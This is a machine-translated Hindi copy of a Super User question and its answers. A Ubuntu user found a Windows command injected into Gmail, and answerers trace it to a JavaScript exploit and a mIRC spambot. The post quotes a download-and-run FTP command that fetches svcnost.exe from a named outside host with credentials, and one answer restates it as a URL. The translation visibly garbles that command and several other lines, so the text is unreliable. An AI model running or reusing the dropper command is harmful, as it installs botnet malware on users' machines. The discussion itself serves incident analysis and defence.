कैसे पहचाना जाए कि मेरा लिनक्स कंप्यूटर हैक हुआ था या नहीं?


128

मेरा घर पीसी आमतौर पर चालू है, लेकिन मॉनिटर बंद है। आज शाम को मैं काम से घर आया और पाया कि हैक की कोशिश क्या दिखती है: मेरे ब्राउज़र में, मेरा जीमेल खुला था (वह मैं था), लेकिन यह TOक्षेत्र में निम्नलिखित के साथ कंपोज़ मोड में था :

md / c इको ओपन cCTeamFtp.yi.org 21 >> ik & echo user ccteam10 765824 >> ik & इको बाइनरी >> ik & इको मिल svcnost.exe >> ik & इको इच >> ik & ftp -n -v -s: ik & del ik & svcnost.exe और बाहर निकलें प्रतिध्वनि आपको मिल गई

यह मेरे लिए विंडोज कमांड लाइन कोड की तरह दिखता है, और कोड की mdशुरुआत इस तथ्य के साथ संयुक्त है कि जीमेल कम्पोज मोड में था, यह स्पष्ट करता है कि किसी ने cmdकमांड चलाने की कोशिश की थी । मुझे लगता है कि मैं भाग्यशाली था कि मैं वास्तव में इस पीसी पर विंडोज नहीं चलाता हूं, लेकिन मेरे पास अन्य हैं जो करते हैं। ऐसा पहली बार हुआ है जब मेरे साथ ऐसा कुछ हुआ है। मैं लिनक्स गुरु नहीं हूं, और मैं उस समय फ़ायरफ़ॉक्स के अलावा कोई अन्य कार्यक्रम नहीं चला रहा था।

मुझे पूरा यकीन है कि मैंने यह नहीं लिखा था, और मेरे कंप्यूटर पर कोई और नहीं शारीरिक रूप से था। इसके अलावा, मैंने हाल ही में अपना Google पासवर्ड (और मेरे सभी अन्य पासवर्ड) कुछ इस तरह से बदले हैं vMA8ogd7bvकि मुझे नहीं लगता कि किसी ने मेरा Google खाता हैक किया है।

अभी क्या हुआ? किसी ने मेरे कंप्यूटर पर कीस्ट्रोक्स कैसे लगाया है जब यह दादी की पुरानी विंडोज मशीन नहीं है जो सालों से मैलवेयर चला रहा है, लेकिन हाल ही में नया उबंटू स्थापित किया गया है?

अपडेट:
मुझे कुछ बिंदुओं और प्रश्नों के बारे में बताएं:

  • मैं ऑस्ट्रिया में, ग्रामीण इलाकों में हूं। मेरा WLAN रूटर WPA2 / PSK और एक मध्यम-मजबूत पासवर्ड चलाता है जो शब्दकोश में नहीं है; ब्रूट-फोर्स और यहाँ से 50 मीटर से कम की दूरी पर होना चाहिए; यह संभावना नहीं है कि यह हैक हो गया।
  • मैं USB वायर्ड कीबोर्ड का उपयोग कर रहा हूं, इसलिए फिर से इसकी संभावना नहीं है कि कोई भी इसे हैक करने के लिए सीमा के भीतर हो सकता है।
  • मैं उस समय अपने कंप्यूटर का उपयोग नहीं कर रहा था; जब मैं काम पर था तब यह घर पर बेकार था। यह एक मॉनिटर-माउंटेड नेटटॉप पीसी है, इसलिए मैं शायद ही कभी इसे बंद करता हूं।
  • मशीन केवल दो महीने पुरानी है, केवल उबंटू चलाता है, और मैं अजीब सॉफ़्टवेयर का उपयोग नहीं कर रहा हूं या अजीब साइटों का दौरा नहीं कर रहा हूं। यह मुख्य रूप से स्टैक एक्सचेंज, जीमेल और समाचार पत्र हैं। खेलना बंद। उबंटू खुद को अद्यतित रखने के लिए सेट है।
  • मुझे किसी VNC सेवा के चलने की जानकारी नहीं है; मैंने निश्चित रूप से एक स्थापित या सक्षम नहीं किया है। मैंने कोई अन्य सर्वर भी शुरू नहीं किया है। अगर कोई डिफ़ॉल्ट रूप से उबंटू में चल रहा है तो मैं अनिश्चित हूं?
  • मुझे जीमेल की खाता गतिविधि के सभी आईपी पते पता हैं। मुझे पूरा यकीन है कि Google एक प्रवेश द्वार नहीं था।
  • मुझे एक लॉग फ़ाइल व्यूअर मिला , लेकिन मुझे नहीं पता कि क्या देखना है। मदद?

जो मैं वास्तव में जानना चाहता हूं, और जो मुझे वास्तव में असुरक्षित महसूस कराता है, वह है: इंटरनेट से कोई भी मेरी मशीन पर कीस्ट्रोक्स उत्पन्न कर सकता है? मैं इसके बारे में सभी टिनफ़ोइल-टोपी होने के बिना इसे कैसे रोक सकता हूं? मैं लिनक्स गीक नहीं हूं, मैं एक पिता हूं जिसने 20+ वर्षों के लिए विंडोज के साथ खिलवाड़ किया है और इससे थक गया हूं। और ऑनलाइन होने के सभी 18+ वर्षों में, मैंने व्यक्तिगत रूप से कभी कोई हैक प्रयास नहीं देखा है, इसलिए यह मेरे लिए नया है।


4
क्या आपके कंप्यूटर तक किसी और की पहुंच है, या आपके पास बहुत पुराना वायरलेस कीबोर्ड है? इसके अलावा, उबंटू में एक अंतर्निहित वीएनसी सर्वर है। यदि वह सक्रिय है, तो एक यादृच्छिक स्क्रिप्ट कहीं और कनेक्ट हो सकती है और यह मान लिया गया है कि यह एक विंडोज़ कंप्यूटर था, जो
किस्ट्रोक्स

29
@torbengb: आपकी पोस्ट वास्तव में मुझे डराती है ...
मेहरदाद

9
क्या आपके वायरलेस नेटवर्क पर कोई अन्य कंप्यूटर हैं? यदि घुसपैठिये ने अपनी सुरक्षा को तोड़ दिया तो यह उसे आपके स्थानीय नेटवर्क में "इन" देगा, जिससे विभिन्न तरीकों से उबंटू बॉक्स को क्रैक किया जा सकता है।
CarlF

4
@muntoo ... और यकीन है कि आप कहीं भी नीचे नहीं लिखा है और किसी भी एप्लिकेशन का उपयोग करने के लिए उन्हें या तो, सही का प्रबंधन नहीं करते हैं? चलो पासवर्ड को कोसना शुरू न करें; कम से कम मेरा पासवर्ड नहीं है password:-)
Torben Gundtofte-Bruun

6
क्या आप के पास एक बिल्ली है?
ज़की

जवाबों:


66

मुझे संदेह है कि आपके पास चिंता करने के लिए कुछ भी है। यह एक जावास्क्रिप्ट हमले की संभावना से अधिक था जो डाउनलोड द्वारा ड्राइव करने की कोशिश करता था । यदि आप इस बारे में चिंतित हैं तो NoScript और AdBlock Plus Firefox Add-Ons का उपयोग करना शुरू करें ।

यहां तक ​​कि भरोसेमंद साइटों पर जाकर आप सुरक्षित नहीं हैं क्योंकि वे तृतीय-पक्ष विज्ञापनदाताओं से जावास्क्रिप्ट कोड चलाते हैं जो दुर्भावनापूर्ण हो सकते हैं।

मैंने उसे पकड़ा और एक वीएम में भाग गया। इसने mirc स्थापित किया और यह स्टेटस लॉग है ... http://pastebin.com/Mn85akMk

यह एक स्वचालित हमला है जो आपको mIRC डाउनलोड करने और एक बोटनेट में शामिल होने की कोशिश कर रहा है जो आपको एक स्पैम्बोट में बदल देगा ... इसमें मेरा वीएम शामिल था और कई अलग-अलग दूरदराज के पतों में से एक से संबंध बनाता है autoemail-119.west320.com

विंडोज 7 में इसे चलाने पर मुझे यूएसी प्रॉम्प्ट को स्वीकार करना पड़ा और इसे फ़ायरवॉल के माध्यम से एक्सेस करने की अनुमति मिली।

ऐसा लगता है कि अन्य मंचों पर इस सटीक कमांड की रिपोर्ट के टन हो सकते हैं, और कोई यह भी कहता है कि एक धार फ़ाइल ने इसे डाउनलोड करने की कोशिश की थी जब यह डाउनलोड हो गया था ... मुझे यकीन नहीं है कि यह कैसे संभव होगा।

मैंने स्वयं इसका उपयोग नहीं किया है, लेकिन यह आपको वर्तमान नेटवर्क कनेक्शन दिखाने में सक्षम होना चाहिए ताकि आप देख सकें कि क्या आप किसी मानक से बाहर जुड़े हुए हैं: http://netactview.sourceforge.net/download.html


10
ईआर, सभी टिप्पणियां (यहां तक ​​कि अत्यधिक प्रासंगिक लोगों को भी पता चला कि स्क्रिप्ट ने cmdखिड़की खोलने का प्रयास किया ) हटा दिया गया !?
ब्लूराजा - डैनी पफ्लुगुफ़ेत १४'१३

क्या मैं इस तरह के हमले से उतना ही सुरक्षित रहूंगा, अगर मैंने सिर्फ यूब्लॉक ओरिजिन का उपयोग करना शुरू कर दिया?
रोबॉटउंडर्सकोर

42

मैं @ jb48394 से सहमत हूं कि यह संभवतः एक जावास्क्रिप्ट शोषण है, इन दिनों बाकी सब की तरह।

तथ्य यह है कि इसने एक cmdखिड़की खोलने की कोशिश की ( @ torbengb की टिप्पणी देखें ) और दुर्भावनापूर्ण आदेश चलाने के बजाय, केवल पृष्ठभूमि में ट्रोजन को डाउनलोड करने से पता चलता है कि यह फ़ायरफ़ॉक्स में कुछ भेद्यता का शोषण करता है जो इसे कुंजी-स्ट्रोक दर्ज करने की अनुमति देता है, लेकिन कोड न चलाएं।

यह भी बताता है कि यह शोषण, जो स्पष्ट रूप से विंडोज़ के लिए विशेष रूप से लिखा गया था , लिनक्स में भी काम करेगा: फ़ायरफ़ॉक्स सभी ओएस'एस में जावास्क्रिप्ट को उसी तरह से चलाता है (कम से कम, यह :) की कोशिश करता है) । यदि यह विंडोज के लिए बफर-ओवरफ्लो या इसी तरह के कारनामे के कारण होता है, तो यह प्रोग्राम को क्रैश कर देता।

जावास्क्रिप्ट कोड कहां से आया - संभवतः एक दुर्भावनापूर्ण Google विज्ञापन (दिन भर जीमेल में विज्ञापन चक्र) । यह नहीं होता हो पहले समय


4
अच्छा संदर्भ।
kizzx2

9
स्किमर्स के लिए FYI करें, कि अंतिम "लिंक" वास्तव में पांच अलग-अलग लिंक हैं।
पोप्स

यह काफी चौंकाने वाला होगा अगर यह वास्तव में एक जावास्क्रिप्ट शोषण है क्योंकि मेरा फ़ायरफ़ॉक्स सामान्य रूप से दिनों के लिए खुला रहता है। हालांकि, आपको विंडोज के तहत किसी अन्य सिस्टम में चाबियाँ भेजने के लिए विशेष एपीआई कॉल करने की आवश्यकता है और शायद लिनक्स के तहत एक अलग सिस्टम कॉल (यदि मौजूद है)। चूँकि कीस्ट्रोक्स भेजना सामान्य जावास्क्रिप्ट ऑपरेशन नहीं है, मुझे संदेह है कि फ़ायरफ़ॉक्स उसके लिए क्रॉस-प्लेटफ़ॉर्म कॉल लागू करेगा।
बिलसी.नं।


12

मैंने एक अन्य लिनक्स मशीन पर एक समान हमला पाया । ऐसा लगता है कि यह विंडोज़ के लिए किसी प्रकार का एफ़टीपी कमांड है।


8
अधिक सटीक रूप से, यह ftp://ccteam10:765824@cCTeamFtp.yi.org/svcnost.exeविंडोज़ ftpकमांड-लाइन टूल का उपयोग करके फ़ाइल को डाउनलोड और चलाता है ।
ग्वारिटी

यह पास्टबिन पर भी पाया गया pastebin.com/FXwRpKH4
शेखर

यहाँ साइट के बारे में जानकारी है whois.domaintools.com/216.210.179.67
शेखर

9
यह एक WinRAR SFX पैकेज है जिसमें एक पोर्टेबल mIRC इंस्टॉल और "DriverUpdate.exe" नामक एक फ़ाइल है। DriverUpdate.exe (कम से कम) दो शेल कमांड निष्पादित करता है: netsh फ़ायरवॉल सेट opmode अक्षम और टास्ककिल / F / IM VCSPAWN.EXE / T यह इंटरनेट एक्सप्लोरर विश्वसनीय ज़ोन में die-freesms-seite.com को जोड़ने का भी प्रयास करता है (मुझे लगता है) और प्रॉक्सी बाईपास।
एंड्रयू लैम्बर्ट

5

यह आपके पूरे प्रश्न का उत्तर नहीं देता है, लेकिन लॉग फ़ाइल में विफल लॉगऑन प्रयासों के लिए देखो।

यदि आपके लॉग में लगभग पाँच से अधिक विफल प्रयास हैं, तो किसी ने दरार करने का प्रयास किया root। अगर rootआप अपने कंप्यूटर से दूर रहने के दौरान लॉगऑन करने का सफल प्रयास करते हैं, तो अपने पासवर्ड को बदलें। मेरा मतलब है अभी! अधिमानतः कुछ अल्फ़ान्यूमेरिक, और लगभग 10 वर्ण लंबा।

आपके द्वारा प्राप्त किए गए संदेशों ( echoआदेशों) के साथ यह वास्तव में कुछ अपरिपक्व स्क्रिप्ट किडी की तरह लगता है । यदि यह एक वास्तविक हैकर था जो जानता है कि वह क्या कर रहा था, तो आप शायद इसके बारे में नहीं जानते होंगे।


2
मैं मानता हूं कि यह स्पष्ट रूप से बहुत ही शौकिया था। कम से कम उन्हें अंत में आपके स्वामित्व वाली गूंज नहीं डालनी चाहिए थी। मुझे आश्चर्य होता है कि क्या कोई "असली हैकर्स" कभी मिल गया? या वास्तव में मैं शायद पूछ रहा हूँ, कितने?
तोरन गुंडोफ़्ते-ब्रून

1
@torgengb: यदि कमांड को विंडोज़ कमांड प्रॉम्प्ट में चलाया जाता है, तो आप इको नहीं देख पाएंगे (इसकी वजह से &exit)
ब्लूराजा - डैनी पफ्लुगॉफ़्ट

-1

whois रिपोर्टें320320.com Microsoft के स्वामित्व में हैं।

UPnP और Vino (सिस्टम -> वरीयताएँ -> दूरस्थ डेस्कटॉप) एक कमजोर Ubuntu पासवर्ड के साथ संयुक्त?

क्या आपने किसी अमानक रिपोजिटरी का उपयोग किया था?

DEF CON में हर साल एक वाई-फाई प्रतियोगिता होती है कि वाई-फाई एक्सेस प्वाइंट कितनी दूर तक पहुंचा जा सकता है - आखिरी बार मैंने सुना था कि यह 250 मील था।

यदि आप वास्तव में डरना चाहते हैं, तो ज़्यूस बॉटनेट के कमांड-एन-कंट्रोल सेंटर के स्क्रीनशॉट को देखें । कोई मशीन सुरक्षित नहीं है, लेकिन लिनक्स पर फ़ायरफ़ॉक्स बाकी की तुलना में सुरक्षित है। इससे भी बेहतर, अगर आप SELinux चलाते हैं ।


1
इस कारनामे के लेखक का स्पष्ट रूप से लिनक्स पर इसे चलाने का कोई इरादा नहीं था, इसलिए मुझे संदेह है कि यह एक कमजोर सूक्ति उपयोगिता या कमजोर पासवर्ड के साथ कुछ भी करना था (साथ ही, ओपी ने पहले ही उल्लेख किया है कि उसके पास एक सुरक्षित पासवर्ड है)
ब्लूराजा - डैनी एफिलुघोफ्ट

दरअसल, वह उबंटू पासवर्ड होने का उल्लेख नहीं करता है, बस एक जीमेल और वायरलेस पासफ़्रेज़ है। एक बच्चा जो मेटास्प्लोइट चला रहा है, उसे लिनक्स के बारे में भी नहीं पता होगा, वह सिर्फ वीएनसी देखता है। यह सबसे अधिक संभावना एक जावास्क्रिप्ट हमला है।
आरजेटी
हमारी साइट का प्रयोग करके, आप स्वीकार करते हैं कि आपने हमारी Cookie Policy और निजता नीति को पढ़ और समझा लिया है।
Licensed under cc by-sa 3.0 with attribution required.